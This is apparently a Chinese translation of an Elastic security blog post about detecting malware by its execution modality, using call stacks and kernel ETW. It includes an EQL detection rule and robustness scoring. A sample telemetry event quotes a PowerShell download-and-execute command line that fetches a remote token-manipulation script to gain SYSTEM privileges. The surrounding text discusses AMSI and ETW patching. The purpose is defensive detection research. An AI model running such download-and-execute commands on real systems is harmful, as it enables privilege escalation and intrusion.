执行模式是什么?
SpecterOps 首席策略师兼多产安全策略作家Jared Atkinson最近提出了非常有用的执行模式概念,以帮助我们推断恶意软件技术以及如何稳健地检测它们。简而言之,执行方式描述了恶意行为如何执行,而不是简单地定义行为做什么。
例如,感兴趣的行为可能是Windows 服务创建,而模式可能是系统实用程序(例如“sc.exe”)、PowerShell 脚本或使用间接系统调用直接写入 Windows 注册表中的服务配置的 shellcode。
阿特金森概述说,如果您的目标是检测一种特定的技术,您需要确保您的收集尽可能接近操作系统的真实来源并消除任何模态假设。
案例研究:服务创建模式
在 Windows 操作系统中的典型服务创建场景中,安装程序会调用 ,而后者会对sc.exe create
RCreateService
服务控制管理器(SCM,又名services.exe
) 中的端点发出 RPC 调用,然后后者会对 内核模式配置管理器 发出系统调用,以更新注册表中 已安装服务的数据库 。稍后,它会被刷新到磁盘并在启动时从磁盘恢复。
这意味着正在运行的系统的真实来源是注册表(尽管配置单元被刷新到磁盘并且可以在离线时被篡改)。
在威胁搜寻场景中,我们可以轻松检测异常的sc.exe
命令行 - 但不同的工具可能会直接进行服务控制 RPC 调用。
如果我们严格处理威胁数据,我们也可以检测到异常的服务控制 RPC 调用,但不同的工具可能会直接进行系统调用或使用其他服务(例如远程注册表)来间接更新服务数据库。
换句话说,其中一些执行模式绕过了Windows 事件日志等传统遥测技术。
那么我们如何监控配置管理器的变化?由于内核补丁保护,我们无法直接稳健地监控系统调用,但微软提供了配置管理器回调作为替代方案。这就是 Elastic 重点关注服务创建检测工作的地方——尽可能接近操作系统的真实来源。
然而,这种低级可见性的代价是潜在的上下文减少。例如,由于 Windows 架构决策,安全供应商不知道哪个 RPC 客户端正在请求在服务数据库中创建注册表项。Microsoft 仅支持从用户模式 RPC 服务查询 RPC 客户端详细信息。
从 Windows 10 21H1 开始,微软开始在服务创建事件日志中包含 RPC 客户端详细信息。该事件虽然不太可靠,但有时可以提供额外的背景信息,帮助确定异常行为的来源。
由于其滥用历史,一些模式已经扩展了额外的日志记录 - 一个重要的例子是 PowerShell。这使得某些技术能够被高精度地检测出来 - 但仅限于在 PowerShell 中执行时。重要的是不要将 PowerShell 中某项技术的检测覆盖范围与该技术的总体覆盖范围相混淆。在评估MITRE ATT&CK覆盖范围时,这种细微差别很重要。正如红队经常展示的那样,拥有 100% 的技术覆盖率(但仅限于 PowerShell)接近 0% 的实际覆盖率。
登顶金字塔(STP) 是 MITRE 提出的一种相关分析评分方法。它对基于 PowerShell 脚本块的检测的脆弱性得出了类似的结论,并为此类规则分配了较低的稳健性分数。
高级遥测源(例如进程创建日志和 PowerShell 日志)在检测大多数技术时极其脆弱,因为它们涵盖的模式非常少。他们最多只能协助侦查最恶劣的“靠土地生活”(LotL)虐待行为。
阿特金森在用来激发讨论的例子中做出了以下敏锐的观察:
重要的一点是,我们检测中的高阶目标是基于行为的,而不是基于模态的。因此,我们应该对检测会话枚举(以行为为中心)感兴趣,而不是对 PowerShell 中的会话枚举(以模态为中心)感兴趣。
但有时这只是故事的一半。有时检测工具本身是否脱离上下文比检测技术更有效。有时执行方式本身就是异常的。
检测已知技术的替代方法是检测不当行为模式。
调用堆栈泄露模态
Elastic 的优势之一是在我们的大多数事件中都包含了调用堆栈。这种级别的调用来源详细信息极大地帮助确定给定活动是恶意的还是良性的。调用堆栈摘要通常足以揭示执行模式 - PowerShell、.NET、RPC、WMI、VBA、Lua、Python 和 Java 的运行时都会在调用堆栈中留下痕迹。
我们的第一个基于调用堆栈的规则是针对 Office VBA 宏( vbe7.dll
)生成子进程或删除文件,以及针对加载 .NET 运行时的无支持的可执行内存。在这两个例子中,技术本身基本上是良性的;主要是行为方式异常。
那么我们能否将典型的以行为为中心的检测方法转变为以模态为中心的检测方法呢?例如,我们能否仅检测源自 PowerShell 的任何双重用途 API 调用的使用情况?
使用调用堆栈,Elastic 能够区分源自 PowerShell 脚本的 API 调用和来自 PowerShell 或 .NET 运行时的 API 调用。
使用威胁情报 ETW 作为双重用途 API 的近似值,我们针对“来自 PowerShell 脚本的可疑 API 调用”的规则非常有效。
api where
event.provider == "Microsoft-Windows-Threat-Intelligence" and
process.name in~ ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and
/* PowerShell Script JIT - and incidental .NET assemblies */
process.thread.Ext.call_stack_final_user_module.name == "Unbacked" and
process.thread.Ext.call_stack_final_user_module.protection_provenance in ("clr.dll", "mscorwks.dll", "coreclr.dll") and
/* filesystem enumeration activity */
not process.Ext.api.summary like "IoCreateDevice( \\FileSystem\\*, (null) )" and
/* exclude nop operations */
not (process.Ext.api.name == "VirtualProtect" and process.Ext.api.parameters.protection == "RWX" and process.Ext.api.parameters.protection_old == "RWX") and
/* Citrix GPO Scripts */
not (process.parent.executable : "C:\\Windows\\System32\\gpscript.exe" and
process.Ext.api.summary in ("VirtualProtect( Unbacked, 0x10, RWX, RW- )", "WriteProcessMemory( Self, Unbacked, 0x10 )", "WriteProcessMemory( Self, Data, 0x10 )")) and
/* cybersecurity tools */
not (process.Ext.api.name == "VirtualAlloc" and process.parent.executable : ("C:\\Program Files (x86)\\CyberCNSAgent\\cybercnsagent.exe", "C:\\Program Files\\Velociraptor\\Velociraptor.exe")) and
/* module listing */
not (process.Ext.api.name in ("EnumProcessModules", "GetModuleInformation", "K32GetModuleBaseNameW", "K32GetModuleFileNameExW") and
process.parent.executable : ("*\\Lenovo\\*\\BGHelper.exe", "*\\Octopus\\*\\Calamari.exe")) and
/* WPM triggers multiple times at process creation */
not (process.Ext.api.name == "WriteProcessMemory" and
process.Ext.api.metadata.target_address_name in ("PEB", "PEB32", "ProcessStartupInfo", "Data") and
_arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info like ("?:\\windows\\*\\kernelbase.dll!CreateProcess*", "Unknown")))
即使我们不需要使用脆弱的 PowerShell AMSI 日志进行检测,我们仍然可以在事件中提供此详细信息作为上下文,因为它有助于分类。这种基于模态的方法甚至可以检测常见的 PowerShell 防御规避技巧,例如:
- ntdll 解除挂钩
- AMSI 修补
- 用户模式 ETW 修补
{
"event": {
"provider": "Microsoft-Windows-Threat-Intelligence",
"created": "2025-01-29T18:27:09.4386902Z",
"kind": "event",
"category": "api",
"type": "change",
"outcome": "unknown"
},
"message": "Endpoint API event - VirtualProtect",
"process": {
"parent": {
"executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
},
"name": "powershell.exe",
"executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"code_signature": {
"trusted": true,
"subject_name": "Microsoft Windows",
"exists": true,
"status": "trusted"
},
"command_line": "\"powershell.exe\" & {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
"pid": 21908,
"Ext": {
"api": {
"summary": "VirtualProtect( kernel32.dll!FatalExit, 0x21, RWX, R-X )",
"metadata": {
"target_address_path": "c:\\windows\\system32\\kernel32.dll",
"amsi_logs": [
{
"entries": [
"& {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
"{iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
"function Get-WinLogonTokenSystem\n{\nfunction _10001011000101101\n{\n [CmdletBinding()]\n Param(\n [Parameter(Position = 0, Mandatory = $true)]\n [ValidateNotNullOrEmpty()]\n [Byte[]]\n ${_00110111011010011},\n ...<truncated>",
"{[Char] $_}",
"{\n [CmdletBinding()]\n Param(\n [Parameter(Position = 0, Mandatory = $true)]\n [Byte[]]\n ${_00110111011010011},\n [Parameter(Position = 1, Mandatory = $true)]\n [String]\n ${_10100110010101100},\n ...<truncated>",
"{ $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBkAGwAbAA=')))) }"
],
"type": "PowerShell"
}
],
"target_address_name": "kernel32.dll!FatalExit",
"amsi_filenames": [
"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1",
"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1"
]
},
"behaviors": [
"sensitive_api",
"hollow_image",
"unbacked_rwx"
],
"name": "VirtualProtect",
"parameters": {
"address": 140727652261072,
"size": 33,
"protection_old": "R-X",
"protection": "RWX"
}
},
"code_signature": [
{
"trusted": true,
"subject_name": "Microsoft Windows",
"exists": true,
"status": "trusted"
}
],
"token": {
"integrity_level_name": "high"
}
},
"thread": {
"Ext": {
"call_stack_summary": "ntdll.dll|kernelbase.dll|Unbacked",
"call_stack_contains_unbacked": true,
"call_stack": [
{
"symbol_info": "c:\\windows\\system32\\ntdll.dll!NtProtectVirtualMemory+0x14"
},
{
"symbol_info": "c:\\windows\\system32\\kernelbase.dll!VirtualProtect+0x3b"
},
{
"symbol_info": "Unbacked+0x3b5c",
"protection_provenance": "clr.dll",
"callsite_trailing_bytes": "41c644240c01833dab99f35f007406ff15b7b6f25f8bf0e85883755f85f60f95c00fb6c00fb6c041c644240c01488b55884989542410488d65c85b5e5f415c41",
"protection": "RWX",
"callsite_leading_bytes": "df765f4d63f64c897dc0488d55b8488bcee8ee6da95f4d8bcf488bcf488bd34d8bc64533db4c8b55b84c8955904c8d150c0000004c8955a841c644240c00ffd0"
}
],
"call_stack_final_user_module": {
"code_signature": [
{
"trusted": true,
"subject_name": "Microsoft Corporation",
"exists": true,
"status": "trusted"
}
],
"protection_provenance_path": "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll",
"name": "Unbacked",
"protection_provenance": "clr.dll",
"protection": "RWX",
"hash": {
"sha256": "707564fc98c58247d088183731c2e5a0f51923c6d9a94646b0f2158eb5704df4"
}
}
},
"id": 17260
}
},
"user": {
"id": "S-1-5-21-47396387-2833971351-1621354421-500"
}
}
稳健性评估
使用Summiting the Pyramid分析评分方法,我们可以将基于 PowerShell 模态的检测规则与传统 PowerShell 进行比较
应用程序(A) | 用户模式(U) | 内核模式(K) | |
---|---|---|---|
核心到(子)技术 (5) | [ 最佳 ]基于内核 ETW 的 PowerShell 模态检测 | ||
核心到部分(子)技术(4) | |||
核心到现有工具 (3) | |||
对手带来的工具的核心 (2) | 基于 AMSI 和 ScriptBlock 的 PowerShell 内容检测 | ||
短暂的(1) | [最差] |
使用Summiting the Pyramid进行 PowerShell 分析评分
如前所述,大多数 PowerShell 检测使用 STP 量表获得较低的 2A 稳健性分数。这与我们的PowerShell 错误行为模态规则形成了鲜明对比,该规则获得了最高的 5K 分数(Microsoft 提供了适当的内核遥测数据)。
需要注意的是,STP 分析分数尚未包括任何针对规则设置和维护成本的衡量标准。这可能可以通过给定规则的已知误报软件列表的大小来近似 - 尽管大多数开放规则集通常不包含此信息。我们确实这样做了,并且在我们的规则中,迄今为止观察到的误报是极其容易控制的。
但是调用堆栈可以被伪造吗?
是的——但又略微不是。我们的调用堆栈都是在内核中内联收集的,但用户模式调用堆栈本身驻留在恶意软件可能控制的用户模式内存中。这意味着,如果恶意软件实现了任意执行,那么它就可以控制我们看到的堆栈帧。
当然,来自私有内存的双重用途 API 调用是可疑的,但有时试图隐藏私有内存会更加可疑。可以采取以下形式:
仅调用堆栈控制可能还不够。为了真正绕过我们的一些调用堆栈检测,攻击者必须制作一个与正常活动完全融合的调用堆栈。在某些环境中,安全团队可以高精度地确定基准,从而使攻击者很难不被发现。基于我们的内部研究,并在红队工具开发人员的协助下,我们也在不断改进我们的开箱即用检测。
最后,在现代 CPU 上还有许多执行跟踪机制可用于检测堆栈欺骗 - 例如Intel LBR 、Intel BTS、Intel AET、 Intel IPT 、 x64 CET和x64 Architectural LBR 。Elastic 已经利用了其中一些硬件功能,我们已经向微软建议,他们可能也希望在漏洞保护之外的进一步场景中这样做,我们自己也在研究进一步的增强功能。敬请关注。
结论
执行模式是一个新的视角,通过它我们可以了解攻击者的伎俩。
然而,检测针对个别模式的特定技术并不是一种具有成本效益的方法——因为技术和模式实在太多了。相反,我们应该将我们的技术检测尽可能地集中在操作系统真相来源附近;注意不要丢失必要的活动上下文,或者引入难以控制的误报。这就是为什么 Elastic 认为内核 ETW优于用户模式ntdll
挂钩 - 它更接近真相来源,从而允许更强大的检测。
对于基于模态的检测方法,当我们为给定模态的所有预期低级遥测建立基准并在任何偏差时触发时,其价值就会变得明显。
从历史上看,攻击者能够为了方便而选择方式。使用 C# 或 PowerShell 编写工具比使用 C 或汇编语言编写工具更具成本效益。如果我们能够控制模式,那么我们就施加了成本。